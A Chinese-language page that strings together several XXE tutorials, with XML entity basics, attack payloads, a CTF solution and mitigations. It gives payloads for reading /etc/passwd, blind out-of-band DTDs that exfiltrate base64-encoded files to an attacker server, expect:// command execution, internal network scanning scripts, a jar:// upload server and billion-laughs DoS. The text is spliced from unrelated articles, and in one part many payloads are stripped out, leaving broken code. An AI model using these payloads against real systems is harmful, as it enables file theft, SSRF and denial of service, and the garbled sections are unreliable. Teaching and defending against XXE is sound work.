精华内容
下载资源
问答
  • XXE漏洞详解
    2021-11-18 12:51:56

    目录

    一、XML基础

    二、实体的分类

    1、命名实体

    2、字符实体

    3、参数实体

    4、外部实体

    三、XXE漏洞

    1、XXE漏洞发生在哪里

    2、怎么判断网站存在XXE漏洞

    3、XXE漏洞的危害

    4、怎样构建XXE漏洞

    5、XXE漏洞的防御

    参考资料


    XXE漏洞即外部实体注入攻击(XML External Entity)。

    一、XML基础

            XML(eXtensible Markup Language)是一种结构性标记语言,在格式上类似于HTML。可用来标记数据,定义数据类型,传输数据。与HTML不同的是,XML的所有数据标签都没有被预定义,因此用户必须自行定义标签后才能使用。

           一个XML文档包含XML声明,DTD文档类型定义及文档元素三个部分组成。

    二、实体的分类

    在XML文档中,“实体”可以被理解成变量。实体主要包括命名实体、字符实体、外部实体、参数实体。

    1、命名实体

      如:

    <!ENTITY x "a">
    <!ENTITY y "b">

      上述代码定义了两个命名实体,一个名称为x,值为“a”;另一个名称为y,值为“b”。

      如果引用这两个实体:

    <root>&x;&y;</root>

      即会替换成这两个实体的值“ab”。

    2、字符实体

    字符实体与HTML实体编码类似,可以用字符ASCII码的十进制或十六进制来表示,如小写字母a可以用&#97;或&#x61;来表示。除此之外,XML文档中还规定了一系列定义好的“字符引用”,使用特殊的字母组合来表示某些特殊字符,如“<”用“&It; ;”表示等。

    3、参数实体

    参数实体多用于DTD和文档元素中,与一般实体相比,它以字符%开始,以字符;结束。只有在DTD文件中进行参数实体声明的时候才能引用其他实体,XXE攻击经常结合利用参数实体进行数据回显。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root[
    
       <!ENTITY % param1 "Hello">
    
       <!ENTITY % param2 " ">
    
       <!ENTITY % param3 "World">
    
       <!ENTITY dtd SYSTEM "combine.dtd">
    
       %dtd;
    ]>
    <root><foo>&content;</foo></root>

    其中<!ENTITY dtd SYSTEM "combine.dtd">是XML引用外部实体DTD的方式。在外部combine.dtd文件中,通过<!ENTITY content "%param1;&param2;&param3;">引用上述三个参数实体,并把这三个参数实体的内容拼合起来,然后将其命名为“content”内部实体。此时在XML文档中引用这个内部实体,其输出的内容就会变为“Hello World”。

    4、外部实体

    外部实体可支持http、file、ftp、https、php等协议。XXE漏洞主要与外部实体有关。

    外部实体声明格式为:

    <!ENTITY 实体名称 SYSTEM "URI/URL">

    三、XXE漏洞

    1、XXE漏洞发生在哪里

    任何可以上传XML文件的位置都有可能存在XXE漏洞。若没有对上传的XML文件进行过滤,可导致上传恶意文件。

    2、怎么判断网站存在XXE漏洞

    抓包:修改http请求,查看抓取的数据包中是否有提交XML文档,修改提交的XML文档再查看返回包响应,查看应用程序是否解析了修改内容,如果解析了则有可能存在XXE漏洞。

    3、XXE漏洞的危害

    (1)任意文件读取

    如果攻击者可以控制服务器解析的XML文档的内容,引入攻击者想要读取的文件内容作为外部实体,即可尝试读取任意的文件内容。如攻击者构造如下的XML文档就会将/etc/passwd文件的内容引入进来并回显在页面中,造成敏感文件内容泄露。

    <?xm1 version="1.0" encoding-"utf-8"?>
    <!DOCTYPE ANY[
       <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]> 
    <x>&xxe;</x>

    (2)执行系统命令

    如果服务器环境中安装了某些特定的扩展,即可利用其造成任意命令执行,如攻击者构造如下的XML文档:

    <?xml version="1.0" encoding-"utf-8"?>
    <!DOCTYPE ANY [
       <!ENTITY xxe SYSTEM "expect://whoami">
    ]>
    <x>&xxe;</x>

    在安装expect扩展的PHP环境中,PHP解析上面的XML文档,即会执行whoami的系统命令,并将结果回显。

    (3)探测内网接口

    如果Web服务器的的执行环境在内网,则可以通过请求内网IP的某个端口来判断该IP 的相应端口是否开放,这可以通过直接引用外部实体的方式引入要访问该端口的链接即可实现:

    <?xm1 version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [ 
       <!ENTITY xxe SYSTEM http://192.168.1.1:81/mark
    ]>
    <x>&xxe</x>

    如果回显结果为“Connection Refused”,即可以判断该IP的81端口是开放的。

    (4)攻击内网环境

    服务器执行XML文档的环境本身在内网,因此XXE漏洞就类似于SSRF攻击,再结合内网中其他主机的漏洞,进一步进行内网渗透。

    4、怎样构建XXE漏洞

    (1)直接通过DTD外部实体声明

    <!DOCTYPE a [
       <!ENTITY a SYSTEM "file:///etc/passwd">
    ]>

    (2)通过DTD文档引入外部DTD文档,再引入外部实体声明

    <! DOCTYPE a SYSTEM "http:/test.com/abc.dtd">

    dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >

    (3)通过DTD文档引入外部实体声明

    <!DOCTYPE a [
       <!ENTITY % d SYSTEM "http:/test.com/abc.dtd">
       %d;
    ]>

    dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >

    5、XXE漏洞的防御

    ●禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。

    ●过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。

    参考资料

    未知攻焉知防——XXE漏洞攻防 - 博客 - 腾讯安全应急响应中心 (tencent.com)

    更多相关内容
  • XXE漏洞

    2020-12-22 19:12:36
    无回显的情况 blind xxe漏洞方案1: 对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。...

    0x00 什么是XML

    1.定义

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    2.文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    ]]]>

    Dave

    Tom

    3.DTD

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    1.内部声明DTD:

    元素声明]>

    2.引用外部DTD:

    3.内外部DTD文档结合:

    定义内容]>

    DTD中的一些重要的关键字:

    DOCTYPE(DTD的声明)

    ENTITY(实体的声明)

    SYSTEM、PUBLIC(外部资源申请)

    4.实体类别介绍

    实体主要分为一下四类

    内置实体 (Built-in entities)

    字符实体 (Character entities)

    通用实体 (General entities)

    参数实体 (Parameter entities)

    参数实体用%实体名称申明,引用时也用%实体名称;

    其余实体直接用实体名称申明,引用时用&实体名称。

    参数实体只能在DTD中申明,DTD中引用;

    其余实体只能在DTD中申明,可在xml文档中引用。

    注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

    0x01 DTD 实体声明:

    1. 内部实体声明

    一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

    ]>

    &xxe;

    2. 外部实体声明

    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

    file:///path/to/file.ext

    http://url

    php://filter/read=convert.base64-encode/resource=conf.php

    外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

    外部实体的默认协议

    示例:

    ]>

    &xxe;

    这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

    3. 参数实体声明

    or

    示例:

    %xxe;]>

    &evil;

    外部evil.dtd中的内容。

    4. 引用公共实体

    0x02 什么是XML外部实体攻击?

    有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。

    Code1:

    ]>

    &passwd;

    Code2:

    ]>

    &entityex;

    Code3

    ]>

    &xxe;

    Code4

    ]>

    &xxe;

    以Code1代码为例,XML外部实体 ‘passwd’ 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’passwd’实体的值将从其后的URI中读取。

    0x03 怎么甄别一个XML实体攻击漏洞?

    XXE漏洞主要针对web服务危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。

    最直接的回答就是: 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。

    xxe漏洞检测

    第一步检测XML是否会被成功解析:

    ]>

    &name;

    如果页面输出了my name is nMask,说明xml文件可以被解析。

    第二步检测服务器是否支持DTD引用外部实体:

    %name;

    ]>

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。

    从PHP代码层面上

    最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

    这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

    $data = file_get_contents('php://input'); //获取提交的XML数据

    $xml = simplexml_load_string($data); // 交给PHP的XML解析函数

    echo $xml->name;

    ?>

    0x04 xxe漏洞的危害

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

    危害1:读取任意文件

    有回显情况

    XML.php

    $xml = <<

    ]>

    &f;

    EOF;

    $data = simplexml_load_string($xml);

    print_r($data);

    ?>

    访问XML.php可以读取etc/passwd文件内容

    该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

    实例展示:

    可以使用如下的两种方式进行XXE注入攻击。

    ]>

    &xxe;

    %xxe;]>

    &evil;

    外部evil.dtd中的内容。

    当然也可以进行内网站点的入侵。

    以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

    无回显的情况

    blind xxe漏洞方案1:

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

    创建test.php写入以下内容:

    file_put_contents("test.txt", $_GET['file']) ;

    ?>

    创建index.php写入以下内容:

    $xml=<<

    %remote;

    %all;

    %send;

    ]>

    EOF;

    $data = simplexml_load_string($xml) ;

    echo "

    " ;

    print_r($data) ;

    ?>

    创建test.xml并写入以下内容:

    ">

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    blind xxe漏洞方案2:

    可以将文件内容发送到远程服务器,然后读取。

    %f;

    ]>

    &b;

    $data = simplexml_load_string($xml);

    print_r($data);

    远程服务器的evil.dtd文件内容

    blind xxe漏洞方案3:

    可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

    # /etc/issue

    %dtd;

    %send;

    ]>

    evil.dtd的内容,内部的%号要进行实体编码成%。

    “”

    >

    %all;

    有报错直接查看报错信息。

    无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

    这里列举几个案例:

    恶意引入外部实体1:

    **XML内容**

    ]>

    &b;

    恶意引入外部实体2:

    **XML内容**

    %d;

    ]>

    &b;

    DTD文件(evil.dtd)内容:

    恶意引入外部实体3

    **XML内容**

    ]>

    &b;

    DTD文件内容

    恶意引入外部实体(4)

    ]>

    &xxe;

    危害2:命令执行

    php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

    $xml = <<

    # id

    ]>

    &f;

    EOF;

    $data = simplexml_load_string($xml);

    print_r($data);

    ?>

    该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

    危害3:内网探测/SSRF

    由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

    $xml = <<

    ]>

    &f;

    EOF;

    $data = simplexml_load_string($xml);

    print_r($data);

    ?>

    危害4:攻击内网网站

    该CASE是攻击内网struts2网站,远程执行系统命令。

    危害5:拒绝服务攻击

    2. To crash the server / Cause denial of service:

    ]>

    &lol9;

    上面样例代码2中的XXE漏洞攻击就是著名的’billion laughs’ 攻击。

    (https://en.wikipedia.org/wiki/Billion_laughs),该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。

    原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。

    0x05 XXE漏洞修复与防御

    xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

    方案一:使用开发语言提供的禁用外部实体的方法

    PHP

    libxml_disable_entity_loader(true);

    JAVA

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);

    Python

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方案二:过滤用户提交的XML数据

    过滤关键词:!ENTITY,或者SYSTEM和PUBLIC。

    0x06 一道CTF题目

    题目链接:

    目的很明确获取/home/ctf/flag.txt的内容

    下面分析源码

    function XHR() {

    var xhr;

    try {xhr = new XMLHttpRequest();}

    catch(e) {

    var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];

    for (var i=0,len=IEXHRVers.length;i< len;i++) {

    try {xhr = new ActiveXObject(IEXHRVers[i]);}

    catch(e) {continue;}

    }

    }

    return xhr;

    }

    function send(){

    evil_input = document.getElementById("evil-input").value;

    var xhr = XHR();

    xhr.open("post","/api/v1.0/try",true);

    xhr.onreadystatechange = function () {

    if (xhr.readyState==4 && xhr.status==201) {

    data = JSON.parse(xhr.responseText);

    tip_area = document.getElementById("tip-area");

    tip_area.value = data.task.search+data.task.value;

    }

    };

    xhr.setRequestHeader("Content-Type","application/json");

    xhr.send('{"search":"'+evil_input+'","value":"own"}');

    }

    很明显是AJAX异步传送数据

    在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

    解题步骤:

    要先修改Content-Type: application/xml

    然后加入xml脚本即可

    ]>

    &myentity;

    得到返回结果

    CTF{XxE_15_n0T_S7range_Enough}

    0x07 参考链接

    https://security.tencent.com/index.php/blog/msg/69

    https://thief.one/2017/06/20/1/

    https://www.jianshu.com/p/7325b2ef8fc9

    https://blog.csdn.net/qq_31481187/article/details/53028221

    http://netsecurity.51cto.com/art/201702/531996.htm

    https://www.cnblogs.com/wfzWebSecuity/p/6681114.html

    https://www.jianshu.com/p/7325b2ef8fc9

    展开全文
  • XXE漏洞详解 一文了解XXE漏洞

    千次阅读 2020-11-10 15:55:42
    本篇总结归纳XXE漏洞

    前言

    本篇总结归纳XXE漏洞

    1、什么是XXE

    普通的XML注入

    在这里插入图片描述

    XML外部实体(XML External Entity, XXE)

    • Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行
    • 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

    2、基础知识

    XML,一种非常流行的标记语言

    • 用于标记电子文件使其具有结构性的标记语言,可用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
    • 设计用来进行数据的传输和存储, 结构是树形结构,有标签构成
    • 用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…)
    • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
      其中文档类型定义(DTD)可以是内部声明也可以引用外部DTD
    • 在DTD中对实体(即用于定义引用普通文本或特殊字符的快捷方式的变量)声明时,既可在内部进行,也可在外部进行。
      • 内部声明实体格式:<!ENTITY 实体名称"实体的值">
      • 引用外部实体格式:<!ENTITY 实体名称SYSTEM"URI">

    在这里插入图片描述

    (1)xml文档的构建模块

    所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

    • 元素
    • 属性
    • 实体
    • PCDATA
    • CDATA

    1,元素
    元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的
    实例:

    <body>body text in between</body>
    <message>some message in between</message>
    

    空的 HTML 元素的例子是 “hr”、“br” 以及 “img”

    2,属性
    属性可提供有关元素的额外信息
    实例:

    <img src="computer.gif" />
    

    3,实体
    实体是用来定义普通文本的变量
    实体引用是对实体的引用

    4,PCDATA
    PCDATA 的意思是被解析的字符数据(parsed character data)
    PCDATA 是会被解析器解析的文本,这些文本将被解析器检查实体以及标记

    5,CDATA
    CDATA 的意思是字符数据(character data)
    CDATA 是不会被解析器解析的文本

    (2)DTD(文档类型定义)

    DTD(文档类型定义)

    • 定义 XML 文档的合法构建模块
    • DTD 可以在 XML 文档内声明,也可以外部引用

    1,内部声明:<!DOCTYPE 根元素 [元素声明]>
    ex: <!DOCTYOE test any>
    实例

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to      (#PCDATA)>
      <!ELEMENT from    (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body    (#PCDATA)>
    ]>
    <note>
      <to>George</to>
      <from>John</from>
      <heading>Reminder</heading>
      <body>Don't forget the meeting!</body>
    </note>
    

    2,外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名">
    ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
    实例

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note> 
    

    note.dtd的内容为:

    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    

    (3)DTD实体

    DTD实体

    • 用于定义引用普通文本或特殊字符的快捷方式的变量
    • 分为内部实体和外部实体
    • 也可分为一般实体和参数实体

    1,内部实体
    ex:<!ENTITY eviltest "eviltest">
    实例

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer "Bill Gates">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>
    
    <test>&writer;&copyright;</test>
    

    2,外部实体

    • 从外部的 DTD文件中引用
    • 对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)

    实例

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
    <author>&writer;&copyright;</author>
    

    3、一般实体

    • 引用实体的方式:&实体名
    • 在DTD 中定义,在 XML 文档中引用

    实例

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
    <updateProfile>  
        <firstname>Joe</firstname>  
        <lastname>&file;</lastname>  
        ... 
    </updateProfile>
    

    4、参数实体

    • 引用实体的方式: % 实体名(这里面空格不能少)
    • 在 DTD 中定义,并且只能在 DTD 中使用 % 实体名引用
    • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    • 和通用实体一样,参数实体也可以外部引用
    • 在 Blind XXE 中起到了至关重要的作用

    实例

    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
    %an-element; %remote-dtd;
    

    3、XXE漏洞利用

    (1)有回显读取敏感信息

    有问题的xml.php

    <?php
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
        $creds = simplexml_import_dom($dom);
        echo $creds;
    ?>
    

    1、直接通过DTD外部实体声明

    payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&goodies;</creds>
    

    2、通过DTD外部实体声明引入外部实体声明

    想调取test.txt

    在这里插入图片描述
    若直接通过DTD外部实体声明会报错
    要用到CDATA和参数实体

    payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
    %dtd; ]> 
    
    <roottag>&all;</roottag>
    

    evil.dtd

    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">
    

    (2)无回显读取敏感文件(Blind OOB XXE)

    在某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应
    遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据

    有问题的xml.php

    <?php
    
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    ?>
    

    test.dtd

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
    

    payload:

    • %remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来
    • 然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %)
    • 再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd">
    %remote;%int;%send;
    ]>
    

    在这里插入图片描述
    在这里插入图片描述
    在各个平台能用的协议

    在这里插入图片描述
    其中PHP在安装扩展后还能支持以下这些协议

    在这里插入图片描述

    (3)HTTP 内网主机探测

    以存在 XXE 漏洞的服务器为我们探测内网的支点

    准备工作

    • 先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子
    • 可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件

    一个脚本

    import requests
    import base64
    
    #Origtional XML that the server accepts
    #<xml>
    #    <stuff>user</stuff>
    #</xml>
    
    
    def build_xml(string):
        xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
        xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
        xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
        xml = xml + "\r\n" + """<xml>"""
        xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
        xml = xml + "\r\n" + """</xml>"""
        send_xml(xml)
    
    def send_xml(xml):
        headers = {'Content-Type': 'application/xml'}
        x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
        coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
        print coded_string
    #   print base64.b64decode(coded_string)
    for i in range(1, 255):
        try:
            i = str(i)
            ip = '10.0.0.' + i
            string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
            print string
            build_xml(string)
        except:
    continue
    

    (4)HTTP 内网主机端口扫描

    可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF
    以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2020-11-11</date>
          <description>&xxe;</description>
       </core>
    </catalog>
    

    可以将请求的端口作为 参数 然后利用 burp 的 intruder 来帮我们探测

    (5) 远程代码执行(RCE)

    PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上
    就可以执行如下的命令:

    <?xml version="1.0"?>
    <!DOCTYPE GVI [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2020-11-11</date>
          <description>&xxe;</description>
       </core>
    </catalog>
    

    (6)文件上传

    Java 中有一个比较神奇的协议 jar://
    能从远程获取 jar 文件,然后将其中的内容进行解压

    • 下载 jar/zip 文件到临时文件中
    • 提取出我们指定的文件
    • 删除临时文件
    jar:{url}!{path}
    jar:http://host/application.jar!/file/within/the/zip
    
    这个 ! 后面就是其需要从中解压出的文件
    

    先在本地模拟一个存在 XXE 的程序

    xml_test.java

    package xml_test;
    import java.io.File;
    
    import javax.xml.parsers.DocumentBuilder;
    import javax.xml.parsers.DocumentBuilderFactory;
    
    import org.w3c.dom.Attr;
    import org.w3c.dom.Comment;
    import org.w3c.dom.Document;
    import org.w3c.dom.Element;
    import org.w3c.dom.NamedNodeMap;
    import org.w3c.dom.Node;
    import org.w3c.dom.NodeList;
    
    /**
     * 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
     * @author zhanglong
     *
     */
    public class xml_test
    {
        public static void main(String[] args) throws Exception
        {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
    
            Document doc = db.parse(new File("student.xml"));
            //获得根元素结点
            Element root = doc.getDocumentElement();
    
            parseElement(root);
        }
    
        private static void parseElement(Element element)
        {
            String tagName = element.getNodeName();
    
            NodeList children = element.getChildNodes();
    
            System.out.print("<" + tagName);
    
            //element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
            NamedNodeMap map = element.getAttributes();
    
            //如果该元素存在属性
            if(null != map)
            {
                for(int i = 0; i < map.getLength(); i++)
                {
                    //获得该元素的每一个属性
                    Attr attr = (Attr)map.item(i);
    
                    String attrName = attr.getName();
                    String attrValue = attr.getValue();
    
                    System.out.print(" " + attrName + "=\"" + attrValue + "\"");
                }
            }
    
            System.out.print(">");
    
            for(int i = 0; i < children.getLength(); i++)
            {
                Node node = children.item(i);
                //获得结点的类型
                short nodeType = node.getNodeType();
    
                if(nodeType == Node.ELEMENT_NODE)
                {
                    //是元素,继续递归
                    parseElement((Element)node);
                }
                else if(nodeType == Node.TEXT_NODE)
                {
                    //递归出口
                    System.out.print(node.getNodeValue());
                }
                else if(nodeType == Node.COMMENT_NODE)
                {
                    System.out.print("<!--");
    
                    Comment comment = (Comment)node;
    
                    //注释内容
                    String data = comment.getData();
    
                    System.out.print(data);
    
                    System.out.print("-->");
                }
            }
    
            System.out.print("</" + tagName + ">");
        }
    }
    

    建立一个 xml 文件

    test.xml

    <!DOCTYPE convert [ 
    <!ENTITY  remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
    ]>
    <convert>&remote;</convert>
    

    9999 端口上放一个用 python 写 TCP 服务器

    sever.py

    import sys 
    import time 
    import threading 
    import socketserver 
    from urllib.parse import quote 
    import http.client as httpc 
    
    listen_host = 'localhost' 
    listen_port = 9999 
    jar_file = sys.argv[1]
    
    class JarRequestHandler(socketserver.BaseRequestHandler):  
        def handle(self):
            http_req = b''
            print('New connection:',self.client_address)
            while b'\r\n\r\n' not in http_req:
                try:
                    http_req += self.request.recv(4096)
                    print('Client req:\r\n',http_req.decode())
                    jf = open(jar_file, 'rb')
                    contents = jf.read()
                    headers = ('''HTTP/1.0 200 OK\r\n'''
                    '''Content-Type: application/java-archive\r\n\r\n''')
                    self.request.sendall(headers.encode('ascii'))
    
                    self.request.sendall(contents[:-1])
                    time.sleep(30)
                    print(30)
                    self.request.sendall(contents[-1:])
    
                except Exception as e:
                    print ("get error at:"+str(e))
    
    
    if __name__ == '__main__':
    
        jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
        print ('waiting for connection...') 
        server_thread = threading.Thread(target=jarserver.serve_forever) 
        server_thread.daemon = True 
        server_thread.start() 
        server_thread.join()
    

    通过报错找到临时文件的路径
    然后可以操作了

    可以参考一道 LCTF 2018 的 ctf题

    (7)钓鱼

